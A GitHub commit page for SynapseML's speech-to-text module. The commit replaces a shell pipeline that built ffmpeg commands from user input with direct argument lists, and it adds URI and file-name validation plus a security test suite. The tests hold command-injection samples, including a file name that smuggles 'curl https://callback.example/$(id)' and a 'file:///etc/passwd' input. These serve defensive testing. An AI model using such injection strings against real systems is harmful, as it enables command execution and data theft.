Skip to content

Commit b0fa222

Browse files
ranadeepsinghCopilot
ranadeepsingh
and
Copilot
authored
fix: add speechtotextsdk improvements (#2562)
* add speechtotextsdk improvements * Fix ffmpeg output args * add ffmpeg url check * fix: address speech recording review feedback Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: make OpenAIPrompt RAI test resilient Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * Revert "test: make OpenAIPrompt RAI test resilient" This reverts commit fccce86. --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
1 parent 9b7ede6 commit b0fa222

2 files changed

Lines changed: 176 additions & 22 deletions

File tree

‎cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDK.scala‎

Lines changed: 75 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ import com.microsoft.cognitiveservices.speech.transcription.{Conversation, Conve
1818
ConversationTranscriptionEventArgs, Participant}
1919
import com.microsoft.cognitiveservices.speech.util.EventHandler
2020
import org.apache.commons.io.FilenameUtils
21+
import org.apache.commons.io.input.TeeInputStream
2122
import org.apache.hadoop.fs.Path
2223
import org.apache.spark.broadcast.Broadcast
2324
import org.apache.spark.injections.SConf
@@ -30,19 +31,64 @@ import org.apache.spark.sql.types._
3031
import org.apache.spark.sql.{DataFrame, Dataset, Row}
3132
import spray.json._
3233

33-
import java.io.{BufferedInputStream, ByteArrayInputStream, Closeable, InputStream}
34+
import java.io.{BufferedInputStream, ByteArrayInputStream, Closeable, FileOutputStream, IOException, InputStream}
3435
import java.lang.ProcessBuilder.Redirect
3536
import java.net.{URI, URL}
36-
import java.util.UUID
37+
import java.util.{Locale, UUID}
3738
import java.util.concurrent.{LinkedBlockingQueue, TimeUnit}
3839
import scala.concurrent.{ExecutionContext, Future, blocking}
3940
import scala.language.existentials
41+
import scala.util.Try
4042

4143
object SpeechToTextSDK extends ComplexParamsReadable[SpeechToTextSDK]
4244

45+
private[speech] object SpeechSDKBase {
46+
private val FfmpegOutputArgs = Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3")
47+
private val FfmpegProtocolWhitelist = "http,https,tcp,tls,crypto"
48+
private val HttpSchemes = Set("http", "https")
49+
private val UriSchemePattern = "^[A-Za-z][A-Za-z0-9+.-]*:.*".r
50+
private val WindowsDrivePathPattern = "^[A-Za-z]:[\\\\/].*".r
51+
52+
def parseUri(uri: String): Option[URI] = Try(new URI(uri)).toOption
53+
54+
def isHttpUri(uri: URI): Boolean =
55+
Option(uri.getScheme).map(_.toLowerCase(Locale.ROOT)).exists(HttpSchemes)
56+
57+
def validateFfmpegUri(uri: String): URI = {
58+
val parsedUri = parseUri(uri).getOrElse {
59+
throw new IllegalArgumentException("ffmpeg input URI must be a valid http(s) URI")
60+
}
61+
require(isHttpUri(parsedUri), "ffmpeg input URI must use the http or https scheme")
62+
parsedUri
63+
}
64+
65+
def validateRecordedFileName(fileName: String): String = {
66+
val fn = Option(fileName).filter(_.trim.nonEmpty).getOrElse {
67+
throw new IllegalArgumentException("Recorded file name must be non-empty when recordAudioData is true")
68+
}
69+
val hasUriScheme = UriSchemePattern.pattern.matcher(fn).matches()
70+
val isWindowsDrivePath = WindowsDrivePathPattern.pattern.matcher(fn).matches()
71+
72+
require(!fn.startsWith("-"), "Recorded file name must not start with '-'")
73+
require(!fn.contains('\u0000'), "Recorded file name must not contain NUL characters")
74+
require(!hasUriScheme || (OsUtils.IsWindows && isWindowsDrivePath),
75+
"Recorded file name must be a local file path without a URI scheme")
76+
fn
77+
}
78+
79+
def makeFfmpegCommand(uri: String,
80+
extraArgs: Seq[String]): Seq[String] = {
81+
validateFfmpegUri(uri)
82+
val outputArgs = extraArgs ++ FfmpegOutputArgs
83+
Seq("ffmpeg", "-y",
84+
"-reconnect", "1", "-reconnect_streamed", "1", "-reconnect_delay_max", "2000",
85+
"-protocol_whitelist", FfmpegProtocolWhitelist, "-i", uri) ++ outputArgs ++ Seq("pipe:1")
86+
}
87+
}
88+
4389
//scalastyle:off no.finalize
4490
private[ml] class BlockingQueueIterator[T](lbq: LinkedBlockingQueue[Option[T]],
45-
onClose: => Unit) extends Iterator[T] with Closeable {
91+
onClose: => Unit) extends Iterator[T] with Closeable {
4692
var nextVar: Option[T] = None
4793
var isDone = false
4894
var takeAnother = true
@@ -242,31 +288,38 @@ abstract class SpeechSDKBase extends Transformer
242288
dynamicParamRow: Row): (InputStream, String) = {
243289
if (isUriAudio) { //scalastyle:ignore cyclomatic.complexity
244290
val uri = row.getAs[String](getAudioDataCol)
245-
val ffmpegCommand: Seq[String] = {
246-
val body = Seq("ffmpeg", "-y",
247-
"-reconnect", "1", "-reconnect_streamed", "1", "-reconnect_delay_max", "2000",
248-
"-i", uri) ++ getExtraFfmpegArgs ++ Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3", "pipe:1")
249-
250-
if (getRecordAudioData && OsUtils.IsWindows) {
251-
val fn = row.getAs[String](getRecordedFileNameCol)
252-
body ++ Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3", fn)
253-
} else if (getRecordAudioData && !OsUtils.IsWindows) {
254-
val fn = row.getAs[String](getRecordedFileNameCol)
255-
Seq("/bin/sh", "-c", (body ++ Seq("|", "tee", fn)).mkString(" "))
291+
val parsedUriOpt = SpeechSDKBase.parseUri(uri)
292+
val extension = parsedUriOpt
293+
.flatMap(parsedUri => Option(parsedUri.getPath))
294+
.map(FilenameUtils.getExtension)
295+
.getOrElse(FilenameUtils.getExtension(uri))
296+
.toLowerCase(Locale.ROOT)
297+
val isHttpUri = parsedUriOpt.exists(SpeechSDKBase.isHttpUri)
298+
299+
if (Set("m3u8", "m4a")(extension) && isHttpUri) {
300+
val recordedFileName = if (getRecordAudioData) {
301+
Some(SpeechSDKBase.validateRecordedFileName(row.getAs[String](getRecordedFileNameCol)))
256302
} else {
257-
body
303+
None
258304
}
259-
}
260-
261-
val extension = FilenameUtils.getExtension(new URI(uri).getPath).toLowerCase()
262-
263-
if (Set("m3u8", "m4a")(extension) && uri.startsWith("http")) {
305+
val ffmpegCommand = SpeechSDKBase.makeFfmpegCommand(uri, getExtraFfmpegArgs.toSeq)
264306
val proc = new ProcessBuilder()
265307
.redirectError(Redirect.INHERIT)
266308
.redirectInput(Redirect.INHERIT)
267309
.command(ffmpegCommand: _*)
268310
.start()
269-
val stream = proc.getInputStream
311+
val stream = recordedFileName match {
312+
case Some(fn) =>
313+
try {
314+
new TeeInputStream(proc.getInputStream, new FileOutputStream(fn), true)
315+
} catch {
316+
case e: IOException =>
317+
proc.destroy()
318+
throw e
319+
}
320+
case None =>
321+
proc.getInputStream
322+
}
270323

271324
if (getExtraFfmpegArgs.contains("-t")) {
272325
val timeLimit = getExtraFfmpegArgs(getExtraFfmpegArgs.indexOf("-t") + 1).toInt
@@ -285,7 +338,7 @@ abstract class SpeechSDKBase extends Transformer
285338
}
286339

287340
(stream, "mp3")
288-
} else if (uri.startsWith("http")) {
341+
} else if (isHttpUri) {
289342
val conn = new URL(uri).openConnection
290343
conn.setConnectTimeout(5000) //scalastyle:ignore magic.number
291344
conn.setReadTimeout(5000) //scalastyle:ignore magic.number

‎cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDKSecuritySuite.scala‎

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
// Copyright (C) Microsoft Corporation. All rights reserved.
2+
// Licensed under the MIT License. See LICENSE in project root for information.
3+
4+
package com.microsoft.azure.synapse.ml.services.speech
5+
6+
import com.microsoft.azure.synapse.ml.core.test.base.TestBase
7+
8+
class SpeechToTextSDKSecuritySuite extends TestBase {
9+
10+
private val uriWithShellMetacharacters =
11+
"https://example.com/audio.m3u8;$(id)?token=$HOME"
12+
private val recordedFileNameWithShellMetacharacters =
13+
"/tmp/out.mp3; curl https://callback.example/$(id) #"
14+
private val extraFfmpegArgs = Seq("-t", "2.5")
15+
private val ffmpegProtocolWhitelist = "http,https,tcp,tls,crypto"
16+
17+
test("audio streams are passed to ffmpeg without a shell") {
18+
val command = SpeechSDKBase.makeFfmpegCommand(
19+
uriWithShellMetacharacters,
20+
extraFfmpegArgs)
21+
22+
assert(command.head == "ffmpeg")
23+
val whitelistIndex = command.indexOf("-protocol_whitelist")
24+
assert(whitelistIndex > 0)
25+
assert(command(whitelistIndex + 1) == ffmpegProtocolWhitelist)
26+
assert(command(whitelistIndex + 2) == "-i")
27+
assert(command(whitelistIndex + 3) == uriWithShellMetacharacters)
28+
assert(!command.contains("/bin/sh"))
29+
assert(!command.contains("-c"))
30+
assert(!command.contains("|"))
31+
assert(!command.contains("tee"))
32+
assert(!command.contains(recordedFileNameWithShellMetacharacters))
33+
assert(command.contains(uriWithShellMetacharacters))
34+
assert(command.count(_ == uriWithShellMetacharacters) == 1)
35+
assert(command.sliding(extraFfmpegArgs.length).count(_ == extraFfmpegArgs) == 1)
36+
}
37+
38+
test("ffmpeg command writes only to stdout") {
39+
val command = SpeechSDKBase.makeFfmpegCommand(
40+
uriWithShellMetacharacters,
41+
extraFfmpegArgs)
42+
43+
assert(command.head == "ffmpeg")
44+
assert(command.last == "pipe:1")
45+
assert(!command.contains("/bin/sh"))
46+
assert(!command.contains("|"))
47+
assert(!command.contains("tee"))
48+
assert(!command.contains(recordedFileNameWithShellMetacharacters))
49+
assert(command.sliding(extraFfmpegArgs.length).count(_ == extraFfmpegArgs) == 1)
50+
}
51+
52+
test("ffmpeg command rejects unsupported input protocols") {
53+
Seq(
54+
"file:///etc/passwd",
55+
"concat:https://example.com/a|https://example.com/b",
56+
"data:text/plain,hello",
57+
"httpx://example.com/audio.m3u8",
58+
" http://example.com/audio.m3u8"
59+
).foreach { uri =>
60+
intercept[IllegalArgumentException] {
61+
SpeechSDKBase.makeFfmpegCommand(uri, Seq())
62+
}
63+
}
64+
}
65+
66+
test("ffmpeg command accepts uppercase http schemes") {
67+
val uri = "HTTPS://example.com/audio.m3u8"
68+
val command = SpeechSDKBase.makeFfmpegCommand(uri, Seq())
69+
70+
assert(command.contains(uri))
71+
}
72+
73+
test("recorded file names are validated as local paths") {
74+
assert(SpeechSDKBase.validateRecordedFileName(recordedFileNameWithShellMetacharacters) ==
75+
recordedFileNameWithShellMetacharacters)
76+
77+
Seq(
78+
"-out.mp3",
79+
"http://example.com/out.mp3",
80+
"https://example.com/out.mp3",
81+
"file:///tmp/out.mp3",
82+
"pipe:1",
83+
"data:text/plain,hello",
84+
"concat:/tmp/a|/tmp/b"
85+
).foreach { fileName =>
86+
intercept[IllegalArgumentException] {
87+
SpeechSDKBase.validateRecordedFileName(fileName)
88+
}
89+
}
90+
}
91+
92+
test("recorded file names must be non-empty") {
93+
intercept[IllegalArgumentException] {
94+
SpeechSDKBase.validateRecordedFileName("")
95+
}
96+
intercept[IllegalArgumentException] {
97+
val missingProperty = System.getProperty("synapseml.speech.recordedFileName.missing")
98+
SpeechSDKBase.validateRecordedFileName(missingProperty)
99+
}
100+
}
101+
}

0 commit comments

Comments
 (0)